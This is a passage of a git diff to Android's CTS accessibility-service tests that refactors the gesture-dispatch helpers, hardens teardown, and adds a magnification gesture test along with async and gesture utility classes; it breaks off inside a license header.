- StrokeDescription stroke2 = stroke1.continueStroke(
- linePathInViewBounds(midPoint, endPoint), 0, gestureTime, false);
- GestureDescription gesture = new GestureDescription.Builder().addStroke(stroke2).build();
- mCallback.reset();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture, mCallback, null));
- mCallback.assertGestureCancels(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ StrokeDescription stroke2 =
+ stroke1.continueStroke(lineWithinView(midPoint, endPoint), 0, gestureTime, false);
+ awaitCancellation(
+ dispatchGesture(mService,
+ new GestureDescription.Builder().addStroke(stroke2).build()),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT, MILLISECONDS);
}
public static class GestureDispatchActivity extends AccessibilityTestActivity {
@@ -507,52 +499,6 @@
}
}
- public static class MyGestureCallback extends AccessibilityService.GestureResultCallback {
- private boolean mCompleted;
- private boolean mCancelled;
-
- @Override
- public synchronized void onCompleted(GestureDescription gestureDescription) {
- mCompleted = true;
- notifyAll();
- }
-
- @Override
- public synchronized void onCancelled(GestureDescription gestureDescription) {
- mCancelled = true;
- notifyAll();
- }
-
- public synchronized void assertGestureCompletes(long timeout) {
- if (mCompleted) {
- return;
- }
- try {
- wait(timeout);
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- assertTrue("Gesture did not complete. Canceled = " + mCancelled, mCompleted);
- }
-
- public synchronized void assertGestureCancels(long timeout) {
- if (mCancelled) {
- return;
- }
- try {
- wait(timeout);
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- assertTrue("Gesture did not cancel. Completed = " + mCompleted, mCancelled);
- }
-
- public synchronized void reset() {
- mCancelled = false;
- mCompleted = false;
- }
- }
-
private void waitForMotionEvents(Matcher<MotionEvent> matcher, int numEventsExpected)
throws InterruptedException {
synchronized (mMotionEvents) {
@@ -597,53 +543,38 @@
}
}
- private GestureDescription createClickInViewBounds(Point clickPoint) {
- Point offsetClick = new Point(clickPoint);
- offsetClick.offset(mViewLocation[0], mViewLocation[1]);
- return createClick(offsetClick);
- }
-
- private GestureDescription createClick(Point clickPoint) {
- return createClick(new PointF(clickPoint.x, clickPoint.y));
- }
-
- private GestureDescription createClick(PointF clickPoint) {
- Path clickPath = new Path();
- clickPath.moveTo(clickPoint.x, clickPoint.y);
- StrokeDescription clickStroke =
- new StrokeDescription(clickPath, 0, ViewConfiguration.getTapTimeout());
- GestureDescription.Builder clickBuilder = new GestureDescription.Builder();
- clickBuilder.addStroke(clickStroke);
- return clickBuilder.build();
- }
-
- private GestureDescription createLongClickInViewBounds(Point clickPoint) {
- Point offsetPoint = new Point(clickPoint);
- offsetPoint.offset(mViewLocation[0], mViewLocation[1]);
- Path clickPath = new Path();
- clickPath.moveTo(offsetPoint.x, offsetPoint.y);
- int longPressTime = ViewConfiguration.getLongPressTimeout();
-
- StrokeDescription longClickStroke =
- new StrokeDescription(clickPath, 0, longPressTime + (longPressTime / 2));
- GestureDescription.Builder longClickBuilder = new GestureDescription.Builder();
- longClickBuilder.addStroke(longClickStroke);
- return longClickBuilder.build();
- }
-
- private GestureDescription createSwipeInViewBounds(Point start, Point end, long duration) {
- return new GestureDescription.Builder().addStroke(
- new StrokeDescription(linePathInViewBounds(start, end), 0, duration, false))
+ private GestureDescription clickWithinView(PointF clickPoint) {
+ return new GestureDescription.Builder()
+ .addStroke(click(withinView(clickPoint)))
.build();
}
- private GestureDescription createPinchInViewBounds(Point centerPoint, int startSpacing,
+ private GestureDescription longClickWithinView(PointF clickPoint) {
+ return new GestureDescription.Builder()
+ .addStroke(longClick(withinView(clickPoint)))
+ .build();
+ }
+
+ private PointF withinView(PointF clickPoint) {
+ return add(clickPoint, mViewLocation[0], mViewLocation[1]);
+ }
+
+ private GestureDescription swipeWithinView(PointF start, PointF end, long duration) {
+ return new GestureDescription.Builder()
+ .addStroke(new StrokeDescription(lineWithinView(start, end), 0, duration))
+ .build();
+ }
+
+ private Path lineWithinView(PointF startPoint, PointF endPoint) {
+ return path(withinView(startPoint), withinView(endPoint));
+ }
+
+ private GestureDescription pinchWithinView(PointF centerPoint, int startSpacing,
int endSpacing, float orientation, long duration) {
if ((startSpacing < 0) || (endSpacing < 0)) {
throw new IllegalArgumentException("Pinch spacing cannot be negative");
}
- Point offsetCenter = new Point(centerPoint);
- offsetCenter.offset(mViewLocation[0], mViewLocation[1]);
+ PointF offsetCenter = withinView(centerPoint);
float[] startPoint1 = new float[2];
float[] endPoint1 = new float[2];
float[] startPoint2 = new float[2];
@@ -675,19 +606,10 @@
path2.moveTo(startPoint2[0], startPoint2[1]);
path2.lineTo(endPoint2[0], endPoint2[1]);
- StrokeDescription path1Stroke = new StrokeDescription(path1, 0, duration);
- StrokeDescription path2Stroke = new StrokeDescription(path2, 0, duration);
- GestureDescription.Builder swipeBuilder = new GestureDescription.Builder();
- swipeBuilder.addStroke(path1Stroke);
- swipeBuilder.addStroke(path2Stroke);
- return swipeBuilder.build();
- }
-
- Path linePathInViewBounds(Point startPoint, Point endPoint) {
- Path path = new Path();
- path.moveTo(startPoint.x + mViewLocation[0], startPoint.y + mViewLocation[1]);
- path.lineTo(endPoint.x + mViewLocation[0], endPoint.y + mViewLocation[1]);
- return path;
+ return new GestureDescription.Builder()
+ .addStroke(new StrokeDescription(path1, 0, duration))
+ .addStroke(new StrokeDescription(path2, 0, duration))
+ .build();
}
private static class MotionEventActionMatcher extends TypeSafeMatcher<MotionEvent> {
@@ -705,13 +627,13 @@
@Override
public void describeTo(Description description) {
- description.appendText("Matching to action " + mAction);
+ description.appendText("Matching to action " + MotionEvent.actionToString(mAction));
}
}
- Matcher<MotionEvent> isAtPoint(final Point point) {
- return isAtPoint(new PointF(point.x, point.y), 0.01f);
+ Matcher<MotionEvent> isAtPoint(final PointF point) {
+ return isAtPoint(point, 0.01f);
}
Matcher<MotionEvent> isAtPoint(final PointF point, final float tol) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
index 49c209f..1674309 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
@@ -17,6 +17,7 @@
import android.accessibilityservice.AccessibilityServiceInfo;
import android.accessibilityservice.AccessibilityService.SoftKeyboardController;
import android.app.Activity;
+import android.app.Instrumentation;
import android.app.UiAutomation;
import android.os.Bundle;
import android.os.Handler;
@@ -36,6 +37,7 @@
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicBoolean;
/**
* Test cases for testing the accessibility APIs for interacting with the soft keyboard show mode.
@@ -70,6 +72,8 @@
private InstrumentedAccessibilityService mService;
private SoftKeyboardController mKeyboardController;
private UiAutomation mUiAutomation;
+ private Activity mActivity;
+ private View mKeyboardTargetView;
private Object mLock = new Object();
@@ -83,7 +87,7 @@
// If we don't call getActivity(), we get an empty list when requesting the number of
// windows on screen.
- getActivity();
+ mActivity = getActivity();
mService = InstrumentedAccessibilityService.enableService(
getInstrumentation(), InstrumentedAccessibilityService.class);
@@ -93,6 +97,8 @@
AccessibilityServiceInfo info = mUiAutomation.getServiceInfo();
info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
mUiAutomation.setServiceInfo(info);
+ getInstrumentation().runOnMainSync(
+ () -> mKeyboardTargetView = mActivity.findViewById(R.id.edit_text));
}
@Override
@@ -100,8 +106,11 @@
mKeyboardController.setShowMode(SHOW_MODE_AUTO);
mService.runOnServiceSync(() -> mService.disableSelf());
Activity activity = getActivity();
- activity.getSystemService(InputMethodManager.class)
- .hideSoftInputFromWindow(activity.getCurrentFocus().getWindowToken(), 0);
+ View currentFocus = activity.getCurrentFocus();
+ if (currentFocus != null) {
+ activity.getSystemService(InputMethodManager.class)
+ .hideSoftInputFromWindow(currentFocus.getWindowToken(), 0);
+ }
}
public void testApiReturnValues_shouldChangeValueOnRequestAndSendCallback() throws Exception {
@@ -228,20 +237,24 @@
*/
private boolean tryShowSoftInput() throws Exception {
final BlockingQueue<Integer> queue = new ArrayBlockingQueue<>(1);
+ final AtomicBoolean showSoftInputResult = new AtomicBoolean(false);
+ final Activity activity = getActivity();
+ final ResultReceiver resultReceiver =
+ new ResultReceiver(new Handler(activity.getMainLooper())) {
+ @Override
+ protected void onReceiveResult(int resultCode, Bundle resultData) {
+ queue.add(resultCode);
+ }
+ };
- getInstrumentation().runOnMainSync(() -> {
- Activity activity = getActivity();
- ResultReceiver resultReceiver =
- new ResultReceiver(new Handler(activity.getMainLooper())) {
- @Override
- protected void onReceiveResult(int resultCode, Bundle resultData) {
- queue.add(resultCode);
- }
- };
- View editText = activity.findViewById(R.id.edit_text);
- activity.getSystemService(InputMethodManager.class)
- .showSoftInput(editText, InputMethodManager.SHOW_FORCED, resultReceiver);
- });
+ final Instrumentation instrumentation = getInstrumentation();
+ instrumentation.runOnMainSync(() -> mKeyboardTargetView.requestFocus());
+ instrumentation.waitForIdleSync();
+ final InputMethodManager imm = mActivity.getSystemService(InputMethodManager.class);
+ instrumentation.runOnMainSync(() -> showSoftInputResult.set(imm.showSoftInput(
+ mKeyboardTargetView, InputMethodManager.SHOW_FORCED, resultReceiver)));
+
+ assertTrue("InputMethodManager refused to show a soft input", showSoftInputResult.get());
Integer result;
try {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index b67fc28..8b1154e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -63,16 +63,22 @@
if (mSingleVolume) {
return;
}
- int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
- int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
- InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
- mInstrumentation, InstrumentedAccessibilityService.class);
-
- service.runOnServiceSync(() ->
- mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume, 0));
- assertEquals("Accessibility service should be able to change accessibility volume",
- otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
- service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
- AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
+ final int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
+ final int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
+ final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
+ .enableService(mInstrumentation, InstrumentedAccessibilityService.class);
+ try {
+ service.runOnServiceSync(() ->
+ mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume,
+ 0));
+ assertEquals("Accessibility service should be able to change accessibility volume",
+ otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
+ service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
+ AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
+ } finally {
+ if (service != null) {
+ service.runOnServiceSync(() -> service.disableSelf());
+ }
+ }
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
index 2b6d2dd..d6dc7fa 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
@@ -22,11 +22,15 @@
import static junit.framework.Assert.assertTrue;
public class InstrumentedAccessibilityService extends AccessibilityService {
+
+ private static final boolean DEBUG = false;
+
// Match com.android.server.accessibility.AccessibilityManagerService#COMPONENT_NAME_SEPARATOR
private static final String COMPONENT_NAME_SEPARATOR = ":";
- private static final int TIMEOUT_SERVICE_ENABLE = 10000;
- private static final int TIMEOUT_SERVICE_PERFORM_SYNC = 5000;
+ // Timeout disabled in #DEBUG mode to prevent breakpoint-related failures
+ private static final int TIMEOUT_SERVICE_ENABLE = DEBUG ? Integer.MAX_VALUE : 10000;
+ private static final int TIMEOUT_SERVICE_PERFORM_SYNC = DEBUG ? Integer.MAX_VALUE : 5000;
private static final HashMap<Class, WeakReference<InstrumentedAccessibilityService>>
sInstances = new HashMap<>();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
new file mode 100644
index 0000000..7269b81
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.distance;
+import static android.accessibilityservice.cts.utils.GestureUtils.drag;
+import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
+import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
+import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.view.MotionEvent.ACTION_DOWN;
+import static android.view.MotionEvent.ACTION_MOVE;
+import static android.view.MotionEvent.ACTION_UP;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.Matchers.empty;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
+import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.graphics.PointF;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
+import android.view.MotionEvent;
+import android.widget.TextView;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+
+/**
+ * Class for testing magnification.
+ */
+@RunWith(AndroidJUnit4.class)
+public class MagnificationGestureHandlerTest {
+
+ private static final double MIN_SCALE = 1.2;
+
+ private InstrumentedAccessibilityService mService;
+ private Instrumentation mInstrumentation;
+ private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener();
+ float mCurrentScale = 1f;
+ PointF mCurrentZoomCenter = null;
+ PointF mTapLocation;
+ PointF mTapLocation2;
+ private boolean mHasTouchscreen;
+ private boolean mOriginalIsMagnificationEnabled;
+
+ private final Object mZoomLock = new Object();
+
+ @Rule
+ public ActivityTestRule<GestureDispatchActivity> mActivityRule =
+ new ActivityTestRule<>(GestureDispatchActivity.class);
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+
+ PackageManager pm = mInstrumentation.getContext().getPackageManager();
+ mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+ || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+ if (!mHasTouchscreen) return;
+
+ mOriginalIsMagnificationEnabled =
+ Settings.Secure.getInt(mInstrumentation.getContext().getContentResolver(),
+ Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
+ setMagnificationEnabled(true);
+
+ mService = StubMagnificationAccessibilityService.enableSelf(mInstrumentation);
+ mService.getMagnificationController().addListener(
+ (controller, region, scale, centerX, centerY) -> {
+ mCurrentScale = scale;
+ mCurrentZoomCenter = isZoomed() ? new PointF(centerX, centerY) : null;
+
+ synchronized (mZoomLock) {
+ mZoomLock.notifyAll();
+ }
+ });
+
+ TextView view = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+ mInstrumentation.runOnMainSync(() -> {
+ view.setOnTouchListener(mTouchListener);
+ int[] xy = new int[2];
+ view.getLocationOnScreen(xy);
+ mTapLocation = new PointF(xy[0] + 251, xy[1] + 249);
+ mTapLocation2 = add(mTapLocation, 31, 29);
+ });
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (!mHasTouchscreen) return;
+
+ setMagnificationEnabled(mOriginalIsMagnificationEnabled);
+
+ if (mService != null) {
+ mService.runOnServiceSync(() -> mService.disableSelfAndRemove());
+ mService = null;
+ }
+ }
+
+ @Test
+ public void testZoomOnOff() {
+ if (!mHasTouchscreen) return;
+
+ assertFalse(isZoomed());
+
+ assertGesturesPropagateToView();
+ assertFalse(isZoomed());
+
+ setZoomByTripleTapping(true);
+
+ assertGesturesPropagateToView();
+ assertTrue(isZoomed());
+
+ setZoomByTripleTapping(false);
+ }
+
+ @Test
+ public void testViewportDragging() {
+ if (!mHasTouchscreen) return;
+
+ assertFalse(isZoomed());
+ tripleTapAndDragViewport();
+ waitOn(mZoomLock, () -> !isZoomed());
+
+ setZoomByTripleTapping(true);
+ tripleTapAndDragViewport();
+ assertTrue(isZoomed());
+
+ setZoomByTripleTapping(false);
+ }
+
+ @Test
+ public void testPanning() {
+ if (!mHasTouchscreen) return;
+ assertFalse(isZoomed());
+
+ float pan = Math.min(mTapLocation.x, mTapLocation2.x) / 2;
+
+ setZoomByTripleTapping(true);
+ PointF oldCenter = mCurrentZoomCenter;
+
+ dispatch(
+ swipe(mTapLocation, add(mTapLocation, -pan, 0)),
+ swipe(mTapLocation2, add(mTapLocation2, -pan, 0)));
+
+ waitOn(mZoomLock,
+ () -> (mCurrentZoomCenter.x - oldCenter.x >= pan / mCurrentScale * 0.9));
+
+ setZoomByTripleTapping(false);
+ }
+
+ private void setZoomByTripleTapping(boolean desiredZoomState) {
+ if (isZoomed() == desiredZoomState) return;
+ dispatch(tripleTap());
+ waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
+ assertNoTouchInputPropagated();
+ }
+
+ private void tripleTapAndDragViewport() {
+ StrokeDescription down = tripleTapAndHold();
+
+ float pan = mTapLocation.x / 2;
+ PointF oldCenter = mCurrentZoomCenter;
+
+ StrokeDescription drag = drag(down, add(lastPointOf(down), pan, 0f));
+ dispatch(drag);
+ waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= pan / 5);
+ assertTrue(isZoomed());
+ assertNoTouchInputPropagated();
+
+ dispatch(pointerUp(drag));
+ assertNoTouchInputPropagated();
+ }
+
+ private StrokeDescription tripleTapAndHold() {
+ StrokeDescription tap1 = click(mTapLocation);
+ StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation2));
+ StrokeDescription down = startingAt(endTimeOf(tap2) + 20, pointerDown(mTapLocation));
+ dispatch(tap1, tap2, down);
+ waitOn(mZoomLock, () -> isZoomed());
+ return down;
+ }
+
+ private void assertGesturesPropagateToView() {
+ dispatch(click(mTapLocation));
+ assertPropagated(ACTION_DOWN, ACTION_UP);
+
+ dispatch(longClick(mTapLocation));
+ assertPropagated(ACTION_DOWN, ACTION_UP);
+
+ dispatch(doubleTap());
+ assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
+
+ dispatch(swipe(
+ mTapLocation,
+ add(mTapLocation, 31, 29)));
+ assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
+ }
+
+ private void assertNoTouchInputPropagated() {
+ assertThat(prettyPrintable(mTouchListener.events), is(empty()));
+ }
+
+ private void setMagnificationEnabled(boolean enabled) {
+ Settings.Secure.putInt(mInstrumentation.getContext().getContentResolver(),
+ Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, enabled ? 1 : 0);
+ }
+
+ private boolean isZoomed() {
+ return mCurrentScale >= MIN_SCALE;
+ }
+
+ private void assertPropagated(int... eventTypes) {
+ MotionEvent ev;
+ try {
+ while (true) {
+ if (eventTypes.length == 0) return;
+ int expectedEventType = eventTypes[0];
+ long startedPollingAt = SystemClock.uptimeMillis();
+ ev = mTouchListener.events.poll(5, SECONDS);
+ assertNotNull("Expected "
+ + MotionEvent.actionToString(expectedEventType)
+ + " but none present after "
+ + (SystemClock.uptimeMillis() - startedPollingAt) + "ms",
+ ev);
+ int action = ev.getActionMasked();
+ if (action == expectedEventType) {
+ eventTypes = Arrays.copyOfRange(eventTypes, 1, eventTypes.length);
+ } else {
+ if (action != ACTION_MOVE) fail("Unexpected event: " + ev);
+ }
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private GestureDescription doubleTap() {
+ return multiTap(2);
+ }
+
+ private GestureDescription tripleTap() {
+ return multiTap(3);
+ }
+
+ private GestureDescription multiTap(int taps) {
+ GestureDescription.Builder builder = new GestureDescription.Builder();
+ long time = 0;
+ for (int i = 0; i < taps; i++) {
+ StrokeDescription stroke = click(mTapLocation);
+ builder.addStroke(startingAt(time, stroke));
+ time += stroke.getDuration() + 20;
+ }
+ return builder.build();
+ }
+
+ public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
+ GestureDescription.Builder builder =
+ new GestureDescription.Builder().addStroke(firstStroke);
+ for (StrokeDescription stroke : rest) {
+ builder.addStroke(stroke);
+ }
+ dispatch(builder.build());
+ }
+
+ public void dispatch(GestureDescription gesture) {
+ await(dispatchGesture(mService, gesture));
+ }
+
+ private static <T> Collection<T> prettyPrintable(Collection<T> c) {
+ return new ArrayList<T>(c) {
+
+ @Override
+ public String toString() {
+ return stream()
+ .map(t -> "\n" + t)
+ .reduce(String::concat)
+ .orElse("");
+ }
+ };
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java
new file mode 100644
index 0000000..12bb737
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AsyncUtils.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static android.accessibilityservice.cts.utils.CtsTestUtils.assertThrows;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.os.SystemClock;
+
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+
+public class AsyncUtils {
+ public static final long DEFAULT_TIMEOUT_MS = 5000;
+
+ private AsyncUtils() {}
+
+ public static <T> T await(Future<T> f) {
+ return await(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+ }
+
+ public static <T> T await(Future<T> f, long time, TimeUnit timeUnit) {
+ try {
+ return f.get(time, timeUnit);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public static Throwable awaitFailure(Future<?> f) {
+ return awaitFailure(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+ }
+
+ public static Throwable awaitFailure(Future<?> f, long time, TimeUnit timeUnit) {
+ return assertThrows(() -> await(f, time, timeUnit));
+ }
+
+ public static <T> CancellationException awaitCancellation(Future<T> f) {
+ return awaitCancellation(f, DEFAULT_TIMEOUT_MS, MILLISECONDS);
+ }
+
+ public static <T> CancellationException awaitCancellation(
+ Future<T> f, long time, TimeUnit timeUnit) {
+ Throwable ex = awaitFailure(f, time, timeUnit);
+ Throwable current = ex;
+ while (current != null) {
+ if (current instanceof CancellationException) {
+ return (CancellationException) current;
+ }
+ current = current.getCause();
+ }
+ throw new AssertionError("Expected cancellation", ex);
+ }
+
+ public static void waitOn(Object notifyLock, BooleanSupplier condition) {
+ waitOn(notifyLock, condition, DEFAULT_TIMEOUT_MS);
+ }
+
+ public static void waitOn(Object notifyLock, BooleanSupplier condition, long timeoutMs) {
+ if (condition.getAsBoolean()) return;
+
+ synchronized (notifyLock) {
+ try {
+ long timeSlept = 0;
+ while (!condition.getAsBoolean() && timeSlept < timeoutMs) {
+ long sleepStart = SystemClock.uptimeMillis();
+ notifyLock.wait(timeoutMs - timeSlept);
+ timeSlept += SystemClock.uptimeMillis() - sleepStart;
+ }
+ if (!condition.getAsBoolean()) {
+ throw new AssertionError("Timed out after " + timeSlept
+ + "ms waiting for condition");
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java
new file mode 100644
index 0000000..545483b
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/CtsTestUtils.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+
+public class CtsTestUtils {
+ private CtsTestUtils() {}
+
+ public static Throwable assertThrows(Runnable action) {
+ return assertThrows(Throwable.class, action);
+ }
+
+ public static <E extends Throwable> E assertThrows(Class<E> exceptionClass, Runnable action) {
+ try {
+ action.run();
+ throw new AssertionError("Expected an exception");
+ } catch (Throwable e) {
+ if (exceptionClass.isInstance(e)) {
+ return (E) e;
+ }
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
new file mode 100644
index 0000000..d7ae4592
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+
+import static org.junit.Assert.assertTrue;
+
+import android.view.MotionEvent;
+import android.view.View;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+public class EventCapturingTouchListener implements View.OnTouchListener {
+
+ public final BlockingQueue<MotionEvent> events = new LinkedBlockingQueue<>();
+
+ @Override
+ public boolean onTouch(View view, MotionEvent motionEvent) {
+ assertTrue(events.offer(MotionEvent.obtain(motionEvent)));
+ return true;
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
new file mode 100644
index 0000000..076a6da
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
